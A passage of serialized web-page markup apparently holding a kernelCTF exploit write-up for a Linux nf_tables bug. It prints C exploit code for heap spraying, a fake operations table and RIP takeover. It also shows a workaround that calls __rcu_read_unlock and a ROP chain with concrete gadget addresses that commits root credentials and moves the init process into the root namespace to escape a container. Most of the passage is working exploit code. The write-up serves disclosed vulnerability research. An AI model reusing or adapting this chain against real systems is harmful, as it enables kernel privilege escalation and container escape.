\"spray-1\");\n[...]\n",[53604],{"type":19,"tag":27,"props":53605,"children":53606},{"__ignoreMap":7},[53607,53614,53622,53646,53693,53729,53736,53744,53776,53784,53792,53813,53821,53829,53893,53900,53908,53916,53923,53931,53965,53973,53980,53988,53995,54003,54036,54057],{"type":19,"tag":168,"props":53608,"children":53609},{"class":170,"line":171},[53610],{"type":19,"tag":168,"props":53611,"children":53612},{"style":212},[53613],{"type":24,"value":7761},{"type":19,"tag":168,"props":53615,"children":53616},{"class":170,"line":198},[53617],{"type":19,"tag":168,"props":53618,"children":53619},{"style":212},[53620],{"type":24,"value":53621}," // Fake ops\n",{"type":19,"tag":168,"props":53623,"children":53624},{"class":170,"line":415},[53625,53630,53634,53638,53642],{"type":19,"tag":168,"props":53626,"children":53627},{"style":212},[53628],{"type":24,"value":53629}," uint64_t *rop = calloc(29, ",{"type":19,"tag":168,"props":53631,"children":53632},{"style":825},[53633],{"type":24,"value":52811},{"type":19,"tag":168,"props":53635,"children":53636},{"style":212},[53637],{"type":24,"value":500},{"type":19,"tag":168,"props":53639,"children":53640},{"style":382},[53641],{"type":24,"value":53118},{"type":19,"tag":168,"props":53643,"children":53644},{"style":212},[53645],{"type":24,"value":4659},{"type":19,"tag":168,"props":53647,"children":53648},{"class":170,"line":450},[53649,53654,53658,53662,53666,53670,53675,53679,53684,53688],{"type":19,"tag":168,"props":53650,"children":53651},{"style":393},[53652],{"type":24,"value":53653}," rop",{"type":19,"tag":168,"props":53655,"children":53656},{"style":212},[53657],{"type":24,"value":1152},{"type":19,"tag":168,"props":53659,"children":53660},{"style":192},[53661],{"type":24,"value":1452},{"type":19,"tag":168,"props":53663,"children":53664},{"style":212},[53665],{"type":24,"value":6099},{"type":19,"tag":168,"props":53667,"children":53668},{"style":399},[53669],{"type":24,"value":486},{"type":19,"tag":168,"props":53671,"children":53672},{"style":212},[53673],{"type":24,"value":53674}," kaslr_slide ",{"type":19,"tag":168,"props":53676,"children":53677},{"style":399},[53678],{"type":24,"value":1811},{"type":19,"tag":168,"props":53680,"children":53681},{"style":192},[53682],{"type":24,"value":53683}," 0xffffffff81988647",{"type":19,"tag":168,"props":53685,"children":53686},{"style":212},[53687],{"type":24,"value":46556},{"type":19,"tag":168,"props":53689,"children":53690},{"style":373},[53691],{"type":24,"value":53692}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":19,"tag":168,"props":53694,"children":53695},{"class":170,"line":560},[53696,53700,53704,53708,53712,53716,53720,53724],{"type":19,"tag":168,"props":53697,"children":53698},{"style":393},[53699],{"type":24,"value":53653},{"type":19,"tag":168,"props":53701,"children":53702},{"style":212},[53703],{"type":24,"value":1152},{"type":19,"tag":168,"props":53705,"children":53706},{"style":192},[53707],{"type":24,"value":519},{"type":19,"tag":168,"props":53709,"children":53710},{"style":212},[53711],{"type":24,"value":6099},{"type":19,"tag":168,"props":53713,"children":53714},{"style":399},[53715],{"type":24,"value":486},{"type":19,"tag":168,"props":53717,"children":53718},{"style":212},[53719],{"type":24,"value":53674},{"type":19,"tag":168,"props":53721,"children":53722},{"style":399},[53723],{"type":24,"value":1811},{"type":19,"tag":168,"props":53725,"children":53726},{"style":212},[53727],{"type":24,"value":53728}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":19,"tag":168,"props":53730,"children":53731},{"class":170,"line":666},[53732],{"type":19,"tag":168,"props":53733,"children":53734},{"style":212},[53735],{"type":24,"value":7761},{"type":19,"tag":168,"props":53737,"children":53738},{"class":170,"line":694},[53739],{"type":19,"tag":168,"props":53740,"children":53741},{"style":212},[53742],{"type":24,"value":53743}," // Send ROP in object udata\n",{"type":19,"tag":168,"props":53745,"children":53746},{"class":170,"line":707},[53747,53752,53756,53761,53766,53771],{"type":19,"tag":168,"props":53748,"children":53749},{"style":212},[53750],{"type":24,"value":53751}," del_obj(",{"type":19,"tag":168,"props":53753,"children":53754},{"style":825},[53755],{"type":24,"value":51773},{"type":19,"tag":168,"props":53757,"children":53758},{"style":212},[53759],{"type":24,"value":53760},", \"",{"type":19,"tag":168,"props":53762,"children":53763},{"style":825},[53764],{"type":24,"value":53765},"spray",{"type":19,"tag":168,"props":53767,"children":53768},{"style":212},[53769],{"type":24,"value":53770},"-0",{"type":19,"tag":168,"props":53772,"children":53773},{"style":181},[53774],{"type":24,"value":53775},"\");\n",{"type":19,"tag":168,"props":53777,"children":53778},{"class":170,"line":725},[53779],{"type":19,"tag":168,"props":53780,"children":53781},{"style":181},[53782],{"type":24,"value":53783}," wait_destroyer();\n",{"type":19,"tag":168,"props":53785,"children":53786},{"class":170,"line":746},[53787],{"type":19,"tag":168,"props":53788,"children":53789},{"style":181},[53790],{"type":24,"value":53791}," obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":19,"tag":168,"props":53793,"children":53794},{"class":170,"line":755},[53795,53800,53804,53809],{"type":19,"tag":168,"props":53796,"children":53797},{"style":181},[53798],{"type":24,"value":53799}," fake_obj = (uint64_t *)getudata(nl, \"",{"type":19,"tag":168,"props":53801,"children":53802},{"style":382},[53803],{"type":24,"value":53765},{"type":19,"tag":168,"props":53805,"children":53806},{"style":212},[53807],{"type":24,"value":53808},"-3",{"type":19,"tag":168,"props":53810,"children":53811},{"style":181},[53812],{"type":24,"value":53775},{"type":19,"tag":168,"props":53814,"children":53815},{"class":170,"line":1008},[53816],{"type":19,"tag":168,"props":53817,"children":53818},{"style":181},[53819],{"type":24,"value":53820}," DumpHex(fake_obj, 0xe8);\n",{"type":19,"tag":168,"props":53822,"children":53823},{"class":170,"line":1025},[53824],{"type":19,"tag":168,"props":53825,"children":53826},{"style":181},[53827],{"type":24,"value":53828}," uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":19,"tag":168,"props":53830,"children":53831},{"class":170,"line":1042},[53832,53837,53841,53845,53849,53854,53859,53864,53868,53873,53878,53883,53888],{"type":19,"tag":168,"props":53833,"children":53834},{"style":181},[53835],{"type":24,"value":53836}," printf(\"",{"type":19,"tag":168,"props":53838,"children":53839},{"style":212},[53840],{"type":24,"value":1152},{"type":19,"tag":168,"props":53842,"children":53843},{"style":399},[53844],{"type":24,"value":2002},{"type":19,"tag":168,"props":53846,"children":53847},{"style":212},[53848],{"type":24,"value":6099},{"type":19,"tag":168,"props":53850,"children":53851},{"style":825},[53852],{"type":24,"value":53853},"ROP",{"type":19,"tag":168,"props":53855,"children":53856},{"style":825},[53857],{"type":24,"value":53858}," addr",{"type":19,"tag":168,"props":53860,"children":53861},{"style":212},[53862],{"type":24,"value":53863},": 0",{"type":19,"tag":168,"props":53865,"children":53866},{"style":825},[53867],{"type":24,"value":16729},{"type":19,"tag":168,"props":53869,"children":53870},{"style":212},[53871],{"type":24,"value":53872},"%",{"type":19,"tag":168,"props":53874,"children":53875},{"style":825},[53876],{"type":24,"value":53877},"lx",{"type":19,"tag":168,"props":53879,"children":53880},{"style":212},[53881],{"type":24,"value":53882},"\\",{"type":19,"tag":168,"props":53884,"children":53885},{"style":825},[53886],{"type":24,"value":53887},"n",{"type":19,"tag":168,"props":53889,"children":53890},{"style":181},[53891],{"type":24,"value":53892},"\", rop_addr);\n",{"type":19,"tag":168,"props":53894,"children":53895},{"class":170,"line":1055},[53896],{"type":19,"tag":168,"props":53897,"children":53898},{"emptyLinePlaceholder":14},[53899],{"type":24,"value":1093},{"type":19,"tag":168,"props":53901,"children":53902},{"class":170,"line":1064},[53903],{"type":19,"tag":168,"props":53904,"children":53905},{"style":181},[53906],{"type":24,"value":53907}," // Point to fake ops\n",{"type":19,"tag":168,"props":53909,"children":53910},{"class":170,"line":1087},[53911],{"type":19,"tag":168,"props":53912,"children":53913},{"style":181},[53914],{"type":24,"value":53915}," fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":19,"tag":168,"props":53917,"children":53918},{"class":170,"line":1096},[53919],{"type":19,"tag":168,"props":53920,"children":53921},{"style":181},[53922],{"type":24,"value":7761},{"type":19,"tag":168,"props":53924,"children":53925},{"class":170,"line":1105},[53926],{"type":19,"tag":168,"props":53927,"children":53928},{"style":181},[53929],{"type":24,"value":53930}," // Write ROP\n",{"type":19,"tag":168,"props":53932,"children":53933},{"class":170,"line":1174},[53934,53939,53943,53947,53951,53956,53961],{"type":19,"tag":168,"props":53935,"children":53936},{"style":181},[53937],{"type":24,"value":53938}," puts(\"",{"type":19,"tag":168,"props":53940,"children":53941},{"style":212},[53942],{"type":24,"value":1152},{"type":19,"tag":168,"props":53944,"children":53945},{"style":399},[53946],{"type":24,"value":2002},{"type":19,"tag":168,"props":53948,"children":53949},{"style":212},[53950],{"type":24,"value":6099},{"type":19,"tag":168,"props":53952,"children":53953},{"style":825},[53954],{"type":24,"value":53955},"Write",{"type":19,"tag":168,"props":53957,"children":53958},{"style":825},[53959],{"type":24,"value":53960}," ROP",{"type":19,"tag":168,"props":53962,"children":53963},{"style":181},[53964],{"type":24,"value":53775},{"type":19,"tag":168,"props":53966,"children":53967},{"class":170,"line":1182},[53968],{"type":19,"tag":168,"props":53969,"children":53970},{"style":181},[53971],{"type":24,"value":53972}," deludata_spray(nl, 3, 1);\n",{"type":19,"tag":168,"props":53974,"children":53975},{"class":170,"line":1212},[53976],{"type":19,"tag":168,"props":53977,"children":53978},{"style":181},[53979],{"type":24,"value":53783},{"type":19,"tag":168,"props":53981,"children":53982},{"class":170,"line":1220},[53983],{"type":19,"tag":168,"props":53984,"children":53985},{"style":181},[53986],{"type":24,"value":53987}," udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":19,"tag":168,"props":53989,"children":53990},{"class":170,"line":1252},[53991],{"type":19,"tag":168,"props":53992,"children":53993},{"emptyLinePlaceholder":14},[53994],{"type":24,"value":1093},{"type":19,"tag":168,"props":53996,"children":53997},{"class":170,"line":1260},[53998],{"type":19,"tag":168,"props":53999,"children":54000},{"style":181},[54001],{"type":24,"value":54002}," // Takeover RIP\n",{"type":19,"tag":168,"props":54004,"children":54005},{"class":170,"line":1320},[54006,54010,54014,54018,54022,54027,54032],{"type":19,"tag":168,"props":54007,"children":54008},{"style":181},[54009],{"type":24,"value":53938},{"type":19,"tag":168,"props":54011,"children":54012},{"style":212},[54013],{"type":24,"value":1152},{"type":19,"tag":168,"props":54015,"children":54016},{"style":399},[54017],{"type":24,"value":2002},{"type":19,"tag":168,"props":54019,"children":54020},{"style":212},[54021],{"type":24,"value":6099},{"type":19,"tag":168,"props":54023,"children":54024},{"style":825},[54025],{"type":24,"value":54026},"Takeover",{"type":19,"tag":168,"props":54028,"children":54029},{"style":825},[54030],{"type":24,"value":54031}," RIP",{"type":19,"tag":168,"props":54033,"children":54034},{"style":181},[54035],{"type":24,"value":53775},{"type":19,"tag":168,"props":54037,"children":54038},{"class":170,"line":6486},[54039,54044,54048,54053],{"type":19,"tag":168,"props":54040,"children":54041},{"style":181},[54042],{"type":24,"value":54043}," dump_obj(nl, \"",{"type":19,"tag":168,"props":54045,"children":54046},{"style":382},[54047],{"type":24,"value":53765},{"type":19,"tag":168,"props":54049,"children":54050},{"style":212},[54051],{"type":24,"value":54052},"-1",{"type":19,"tag":168,"props":54054,"children":54055},{"style":181},[54056],{"type":24,"value":53775},{"type":19,"tag":168,"props":54058,"children":54059},{"class":170,"line":6504},[54060],{"type":19,"tag":168,"props":54061,"children":54062},{"style":181},[54063],{"type":24,"value":7761},{"type":19,"tag":7050,"props":54065,"children":54067},{"id":54066},"bypass-context-switch-in-rcu-critical-section",[54068],{"type":24,"value":54069},"Bypass context switch in RCU critical-section",{"type":19,"tag":20,"props":54071,"children":54072},{},[54073,54074,54079],{"type":24,"value":14062},{"type":19,"tag":27,"props":54075,"children":54077},{"className":54076},[],[54078],{"type":24,"value":52597},{"type":24,"value":54080}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":19,"tag":20,"props":54082,"children":54083},{},[54084,54086,54093,54095,54101,54103,54109],{"type":24,"value":54085},"A workaround has been discussed before by D3v17 in a ",{"type":19,"tag":269,"props":54087,"children":54090},{"href":54088,"rel":54089},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[273],[54091],{"type":24,"value":54092},"previous kernelCTF submission",{"type":24,"value":54094}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":19,"tag":27,"props":54096,"children":54098},{"className":54097},[],[54099],{"type":24,"value":54100},"task_struct",{"type":24,"value":54102}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":19,"tag":27,"props":54104,"children":54106},{"className":54105},[],[54107],{"type":24,"value":54108},"__rcu_read_unlock()",{"type":24,"value":54110}," function and exit the RCU critical-section before switching contexts.",{"type":19,"tag":158,"props":54112,"children":54114},{"className":26580,"code":54113,"language":26582,"meta":7,"style":7}," // ROP stage 1\n int pos = 3;\n\n rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[54115],{"type":19,"tag":27,"props":54116,"children":54117},{"__ignoreMap":7},[54118,54126,54150,54157],{"type":19,"tag":168,"props":54119,"children":54120},{"class":170,"line":171},[54121],{"type":19,"tag":168,"props":54122,"children":54123},{"style":373},[54124],{"type":24,"value":54125}," // ROP stage 1\n",{"type":19,"tag":168,"props":54127,"children":54128},{"class":170,"line":198},[54129,54133,54138,54142,54146],{"type":19,"tag":168,"props":54130,"children":54131},{"style":382},[54132],{"type":24,"value":16530},{"type":19,"tag":168,"props":54134,"children":54135},{"style":212},[54136],{"type":24,"value":54137}," pos ",{"type":19,"tag":168,"props":54139,"children":54140},{"style":399},[54141],{"type":24,"value":486},{"type":19,"tag":168,"props":54143,"children":54144},{"style":192},[54145],{"type":24,"value":16552},{"type":19,"tag":168,"props":54147,"children":54148},{"style":212},[54149],{"type":24,"value":412},{"type":19,"tag":168,"props":54151,"children":54152},{"class":170,"line":415},[54153],{"type":19,"tag":168,"props":54154,"children":54155},{"emptyLinePlaceholder":14},[54156],{"type":24,"value":1093},{"type":19,"tag":168,"props":54158,"children":54159},{"class":170,"line":450},[54160,54164,54169,54173,54177,54181,54185,54189],{"type":19,"tag":168,"props":54161,"children":54162},{"style":393},[54163],{"type":24,"value":53653},{"type":19,"tag":168,"props":54165,"children":54166},{"style":212},[54167],{"type":24,"value":54168},"[pos",{"type":19,"tag":168,"props":54170,"children":54171},{"style":399},[54172],{"type":24,"value":48752},{"type":19,"tag":168,"props":54174,"children":54175},{"style":212},[54176],{"type":24,"value":6099},{"type":19,"tag":168,"props":54178,"children":54179},{"style":399},[54180],{"type":24,"value":486},{"type":19,"tag":168,"props":54182,"children":54183},{"style":212},[54184],{"type":24,"value":53674},{"type":19,"tag":168,"props":54186,"children":54187},{"style":399},[54188],{"type":24,"value":1811},{"type":19,"tag":168,"props":54190,"children":54191},{"style":212},[54192],{"type":24,"value":54193}," __RCU_READ_UNLOCK;\n",{"type":19,"tag":7050,"props":54195,"children":54197},{"id":54196},"rop",[54198],{"type":24,"value":53853},{"type":19,"tag":20,"props":54200,"children":54201},{},[54202],{"type":24,"value":54203},"Most of the ROP chain to escape the container as root is business as usual:",{"type":19,"tag":43,"props":54205,"children":54206},{},[54207,54218,54229],{"type":19,"tag":47,"props":54208,"children":54209},{},[54210,54216],{"type":19,"tag":27,"props":54211,"children":54213},{"className":54212},[],[54214],{"type":24,"value":54215},"commit_creds(&init_cred);",{"type":24,"value":54217}," Commit root credentials to our process",{"type":19,"tag":47,"props":54219,"children":54220},{},[54221,54227],{"type":19,"tag":27,"props":54222,"children":54224},{"className":54223},[],[54225],{"type":24,"value":54226},"task = find_task_by_vpid(1);",{"type":24,"value":54228}," Find the root process of our namespace",{"type":19,"tag":47,"props":54230,"children":54231},{},[54232,54238],{"type":19,"tag":27,"props":54233,"children":54235},{"className":54234},[],[54236],{"type":24,"value":54237},"switch_task_namespaces(task, &init_nsproxy);",{"type":24,"value":54239}," Move it to the root namespace",{"type":19,"tag":20,"props":54241,"children":54242},{},[54243,54245,54251,54253,54259,54261,54267,54269,54275,54277,54282,54284,54290],{"type":24,"value":54244},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":19,"tag":27,"props":54246,"children":54248},{"className":54247},[],[54249],{"type":24,"value":54250},"find_task_by_vpid(1)",{"type":24,"value":54252}," passed through ",{"type":19,"tag":27,"props":54254,"children":54256},{"className":54255},[],[54257],{"type":24,"value":54258},"rax",{"type":24,"value":54260}," to ",{"type":19,"tag":27,"props":54262,"children":54264},{"className":54263},[],[54265],{"type":24,"value":54266},"rdi",{"type":24,"value":54268},". What I ended up going with was a ",{"type":19,"tag":27,"props":54270,"children":54272},{"className":54271},[],[54273],{"type":24,"value":54274},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":24,"value":54276}," gadget, that allowed me to push the ",{"type":19,"tag":27,"props":54278,"children":54280},{"className":54279},[],[54281],{"type":24,"value":54258},{"type":24,"value":54283}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":19,"tag":27,"props":54285,"children":54287},{"className":54286},[],[54288],{"type":24,"value":54289},"pop rdi; ret",{"type":24,"value":54291}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":19,"tag":43,"props":54293,"children":54294},{},[54295,54300,54313],{"type":19,"tag":47,"props":54296,"children":54297},{},[54298],{"type":24,"value":54299},"We push the value onto the stack (stack pointer regresses)",{"type":19,"tag":47,"props":54301,"children":54302},{},[54303,54305,54311],{"type":24,"value":54304},"We jump to our \"trampoline\" gadget (",{"type":19,"tag":27,"props":54306,"children":54308},{"className":54307},[],[54309],{"type":24,"value":54310},"pop rdi; ret;",{"type":24,"value":54312}," location)",{"type":19,"tag":47,"props":54314,"children":54315},{},[54316,54321],{"type":19,"tag":27,"props":54317,"children":54319},{"className":54318},[],[54320],{"type":24,"value":54289},{"type":24,"value":54322}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":19,"tag":158,"props":54324,"children":54326},{"className":26580,"code":54325,"language":26582,"meta":7,"style":7},"[...]\n // commit_creds(&init_cred);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = kaslr_slide + INIT_CRED;\n rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n // task = find_task_by_vpid(1);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = 1;\n rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop\n rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n // switch_task_namespaces(task, &init_nsproxy);\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = kaslr_slide + INIT_NSPROXY;\n rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[54327],{"type":19,"tag":27,"props":54328,"children":54329},{"__ignoreMap":7},[54330,54337,54354,54399,54435,54471,54478,54486,54529,54560,54596,54641,54696,54741,54748,54756,54799,54835,54871],{"type":19,"tag":168,"props":54331,"children":54332},{"class":170,"line":171},[54333],{"type":19,"tag":168,"props":54334,"children":54335},{"style":212},[54336],{"type":24,"value":7761},{"type":19,"tag":168,"props":54338,"children":54339},{"class":170,"line":198},[54340,54345,54350],{"type":19,"tag":168,"props":54341,"children":54342},{"style":212},[54343],{"type":24,"value":54344}," // commit_creds(&",{"type":19,"tag":168,"props":54346,"children":54347},{"style":393},[54348],{"type":24,"value":54349},"init_cred",{"type":19,"tag":168,"props":54351,"children":54352},{"style":212},[54353],{"type":24,"value":1249},{"type":19,"tag":168,"props":54355,"children":54356},{"class":170,"line":415},[54357,54361,54365,54369,54373,54377,54381,54385,54390,54394],{"type":19,"tag":168,"props":54358,"children":54359},{"style":393},[54360],{"type":24,"value":53653},{"type":19,"tag":168,"props":54362,"children":54363},{"style":212},[54364],{"type":24,"value":54168},{"type":19,"tag":168,"props":54366,"children":54367},{"style":399},[54368],{"type":24,"value":48752},{"type":19,"tag":168,"props":54370,"children":54371},{"style":212},[54372],{"type":24,"value":6099},{"type":19,"tag":168,"props":54374,"children":54375},{"style":399},[54376],{"type":24,"value":486},{"type":19,"tag":168,"props":54378,"children":54379},{"style":212},[54380],{"type":24,"value":53674},{"type":19,"tag":168,"props":54382,"children":54383},{"style":399},[54384],{"type":24,"value":1811},{"type":19,"tag":168,"props":54386,"children":54387},{"style":192},[54388],{"type":24,"value":54389}," 0xffffffff8112c7c0",{"type":19,"tag":168,"props":54391,"children":54392},{"style":212},[54393],{"type":24,"value":46556},{"type":19,"tag":168,"props":54395,"children":54396},{"style":373},[54397],{"type":24,"value":54398}," // pop rdi; ret;\n",{"type":19,"tag":168,"props":54400,"children":54401},{"class":170,"line":450},[54402,54406,54410,54414,54418,54422,54426,54430],{"type":19,"tag":168,"props":54403,"children":54404},{"style":393},[54405],{"type":24,"value":53653},{"type":19,"tag":168,"props":54407,"children":54408},{"style":212},[54409],{"type":24,"value":54168},{"type":19,"tag":168,"props":54411,"children":54412},{"style":399},[54413],{"type":24,"value":48752},{"type":19,"tag":168,"props":54415,"children":54416},{"style":212},[54417],{"type":24,"value":6099},{"type":19,"tag":168,"props":54419,"children":54420},{"style":399},[54421],{"type":24,"value":486},{"type":19,"tag":168,"props":54423,"children":54424},{"style":212},[54425],{"type":24,"value":53674},{"type":19,"tag":168,"props":54427,"children":54428},{"style":399},[54429],{"type":24,"value":1811},{"type":19,"tag":168,"props":54431,"children":54432},{"style":212},[54433],{"type":24,"value":54434}," INIT_CRED;\n",{"type":19,"tag":168,"props":54436,"children":54437},{"class":170,"line":560},[54438,54442,54446,54450,54454,54458,54462,54466],{"type":19,"tag":168,"props":54439,"children":54440},{"style":393},[54441],{"type":24,"value":53653},{"type":19,"tag":168,"props":54443,"children":54444},{"style":212},[54445],{"type":24,"value":54168},{"type":19,"tag":168,"props":54447,"children":54448},{"style":399},[54449],{"type":24,"value":48752},{"type":19,"tag":168,"props":54451,"children":54452},{"style":212},[54453],{"type":24,"value":6099},{"type":19,"tag":168,"props":54455,"children":54456},{"style":399},[54457],{"type":24,"value":486},{"type":19,"tag":168,"props":54459,"children":54460},{"style":212},[54461],{"type":24,"value":53674},{"type":19,"tag":168,"props":54463,"children":54464},{"style":399},[54465],{"type":24,"value":1811},{"type":19,"tag":168,"props":54467,"children":54468},{"style":212},[54469],{"type":24,"value":54470}," COMMIT_CREDS;\n",{"type":19,"tag":168,"props":54472,"children":54473},{"class":170,"line":666},[54474],{"type":19,"tag":168,"props":54475,"children":54476},{"emptyLinePlaceholder":14},[54477],{"type":24,"value":1093},{"type":19,"tag":168,"props":54479,"children":54480},{"class":170,"line":694},[54481],{"type":19,"tag":168,"props":54482,"children":54483},{"style":373},[54484],{"type":24,"value":54485}," // task = find_task_by_vpid(1);\n",{"type":19,"tag":168,"props":54487,"children":54488},{"class":170,"line":707},[54489,54493,54497,54501,54505,54509,54513,54517,54521,54525],{"type":19,"tag":168,"props":54490,"children":54491},{"style":393},[54492],{"type":24,"value":53653},{"type":19,"tag":168,"props":54494,"children":54495},{"style":212},[54496],{"type":24,"value":54168},{"type":19,"tag":168,"props":54498,"children":54499},{"style":399},[54500],{"type":24,"value":48752},{"type":19,"tag":168,"props":54502,"children":54503},{"style":212},[54504],{"type":24,"value":6099},{"type":19,"tag":168,"props":54506,"children":54507},{"style":399},[54508],{"type":24,"value":486},{"type":19,"tag":168,"props":54510,"children":54511},{"style":212},[54512],{"type":24,"value":53674},{"type":19,"tag":168,"props":54514,"children":54515},{"style":399},[54516],{"type":24,"value":1811},{"type":19,"tag":168,"props":54518,"children":54519},{"style":192},[54520],{"type":24,"value":54389},{"type":19,"tag":168,"props":54522,"children":54523},{"style":212},[54524],{"type":24,"value":46556},{"type":19,"tag":168,"props":54526,"children":54527},{"style":373},[54528],{"type":24,"value":54398},{"type":19,"tag":168,"props":54530,"children":54531},{"class":170,"line":725},[54532,54536,54540,54544,54548,54552,54556],{"type":19,"tag":168,"props":54533,"children":54534},{"style":393},[54535],{"type":24,"value":53653},{"type":19,"tag":168,"props":54537,"children":54538},{"style":212},[54539],{"type":24,"value":54168},{"type":19,"tag":168,"props":54541,"children":54542},{"style":399},[54543],{"type":24,"value":48752},{"type":19,"tag":168,"props":54545,"children":54546},{"style":212},[54547],{"type":24,"value":6099},{"type":19,"tag":168,"props":54549,"children":54550},{"style":399},[54551],{"type":24,"value":486},{"type":19,"tag":168,"props":54553,"children":54554},{"style":192},[54555],{"type":24,"value":1954},{"type":19,"tag":168,"props":54557,"children":54558},{"style":212},[54559],{"type":24,"value":412},{"type":19,"tag":168,"props":54561,"children":54562},{"class":170,"line":746},[54563,54567,54571,54575,54579,54583,54587,54591],{"type":19,"tag":168,"props":54564,"children":54565},{"style":393},[54566],{"type":24,"value":53653},{"type":19,"tag":168,"props":54568,"children":54569},{"style":212},[54570],{"type":24,"value":54168},{"type":19,"tag":168,"props":54572,"children":54573},{"style":399},[54574],{"type":24,"value":48752},{"type":19,"tag":168,"props":54576,"children":54577},{"style":212},[54578],{"type":24,"value":6099},{"type":19,"tag":168,"props":54580,"children":54581},{"style":399},[54582],{"type":24,"value":486},{"type":19,"tag":168,"props":54584,"children":54585},{"style":212},[54586],{"type":24,"value":53674},{"type":19,"tag":168,"props":54588,"children":54589},{"style":399},[54590],{"type":24,"value":1811},{"type":19,"tag":168,"props":54592,"children":54593},{"style":212},[54594],{"type":24,"value":54595}," FIND_TASK_BY_VPID;\n",{"type":19,"tag":168,"props":54597,"children":54598},{"class":170,"line":755},[54599,54603,54607,54611,54615,54619,54623,54627,54632,54636],{"type":19,"tag":168,"props":54600,"children":54601},{"style":393},[54602],{"type":24,"value":53653},{"type":19,"tag":168,"props":54604,"children":54605},{"style":212},[54606],{"type":24,"value":54168},{"type":19,"tag":168,"props":54608,"children":54609},{"style":399},[54610],{"type":24,"value":48752},{"type":19,"tag":168,"props":54612,"children":54613},{"style":212},[54614],{"type":24,"value":6099},{"type":19,"tag":168,"props":54616,"children":54617},{"style":399},[54618],{"type":24,"value":486},{"type":19,"tag":168,"props":54620,"children":54621},{"style":212},[54622],{"type":24,"value":53674},{"type":19,"tag":168,"props":54624,"children":54625},{"style":399},[54626],{"type":24,"value":1811},{"type":19,"tag":168,"props":54628,"children":54629},{"style":192},[54630],{"type":24,"value":54631}," 0xffffffff8102e2a6",{"type":19,"tag":168,"props":54633,"children":54634},{"style":212},[54635],{"type":24,"value":46556},{"type":19,"tag":168,"props":54637,"children":54638},{"style":373},[54639],{"type":24,"value":54640}," // pop rsi; ret;\n",{"type":19,"tag":168,"props":54642,"children":54643},{"class":170,"line":1008},[54644,54648,54652,54656,54660,54664,54669,54673,54678,54682,54687,54691],{"type":19,"tag":168,"props":54645,"children":54646},{"style":393},[54647],{"type":24,"value":53653},{"type":19,"tag":168,"props":54649,"children":54650},{"style":212},[54651],{"type":24,"value":54168},{"type":19,"tag":168,"props":54653,"children":54654},{"style":399},[54655],{"type":24,"value":48752},{"type":19,"tag":168,"props":54657,"children":54658},{"style":212},[54659],{"type":24,"value":6099},{"type":19,"tag":168,"props":54661,"children":54662},{"style":399},[54663],{"type":24,"value":486},{"type":19,"tag":168,"props":54665,"children":54666},{"style":212},[54667],{"type":24,"value":54668}," obj_ptr ",{"type":19,"tag":168,"props":54670,"children":54671},{"style":399},[54672],{"type":24,"value":1811},{"type":19,"tag":168,"props":54674,"children":54675},{"style":192},[54676],{"type":24,"value":54677}," 0xe0",{"type":19,"tag":168,"props":54679,"children":54680},{"style":399},[54681],{"type":24,"value":48738},{"type":19,"tag":168,"props":54683,"children":54684},{"style":192},[54685],{"type":24,"value":54686}," 0x66",{"type":19,"tag":168,"props":54688,"children":54689},{"style":212},[54690],{"type":24,"value":46556},{"type":19,"tag":168,"props":54692,"children":54693},{"style":373},[54694],{"type":24,"value":54695}," // rax -> rdi and resume rop\n",{"type":19,"tag":168,"props":54697,"children":54698},{"class":170,"line":1025},[54699,54703,54707,54711,54715,54719,54723,54727,54732,54736],{"type":19,"tag":168,"props":54700,"children":54701},{"style":393},[54702],{"type":24,"value":53653},{"type":19,"tag":168,"props":54704,"children":54705},{"style":212},[54706],{"type":24,"value":54168},{"type":19,"tag":168,"props":54708,"children":54709},{"style":399},[54710],{"type":24,"value":48752},{"type":19,"tag":168,"props":54712,"children":54713},{"style":212},[54714],{"type":24,"value":6099},{"type":19,"tag":168,"props":54716,"children":54717},{"style":399},[54718],{"type":24,"value":486},{"type":19,"tag":168,"props":54720,"children":54721},{"style":212},[54722],{"type":24,"value":53674},{"type":19,"tag":168,"props":54724,"children":54725},{"style":399},[54726],{"type":24,"value":1811},{"type":19,"tag":168,"props":54728,"children":54729},{"style":192},[54730],{"type":24,"value":54731}," 0xffffffff81caed31",{"type":19,"tag":168,"props":54733,"children":54734},{"style":212},[54735],{"type":24,"value":46556},{"type":19,"tag":168,"props":54737,"children":54738},{"style":373},[54739],{"type":24,"value":54740}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":19,"tag":168,"props":54742,"children":54743},{"class":170,"line":1042},[54744],{"type":19,"tag":168,"props":54745,"children":54746},{"emptyLinePlaceholder":14},[54747],{"type":24,"value":1093},{"type":19,"tag":168,"props":54749,"children":54750},{"class":170,"line":1055},[54751],{"type":19,"tag":168,"props":54752,"children":54753},{"style":373},[54754],{"type":24,"value":54755}," // 